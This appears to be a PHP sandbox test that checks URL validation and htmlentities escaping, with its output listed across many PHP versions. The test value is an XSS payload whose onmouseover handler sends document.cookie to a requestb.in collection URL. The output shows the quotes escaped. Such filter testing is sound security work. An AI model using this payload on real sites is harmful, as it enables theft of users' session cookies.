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<?php function safeHTML($var) { return htmlentities($var); } $link = 'http://moncul.com/toto.jpg\\"onmouseover=javascript:window.location=\"http://requestb.in/sr3wb0sr?flag=\"+(document.cookie);'; if (!is_null($link)) { if (!filter_var($link, FILTER_VALIDATE_URL)) printf("ERROR !"); } if (is_null($link)) { $link = 'http://'; printf("NULL !"); } printf('<a href="%s">'."link".'</a>', safeHTML($link)); ?>
Output for 5.4.1 - 5.4.45, 5.5.24 - 5.5.35, 5.6.8 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.25, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.7
<a href="http://moncul.com/toto.jpg\&quot;onmouseover=javascript:window.location=\&quot;http://requestb.in/sr3wb0sr?flag=\&quot;+(document.cookie);">link</a>
preferences:
201.69 ms | 404 KiB | 242 Q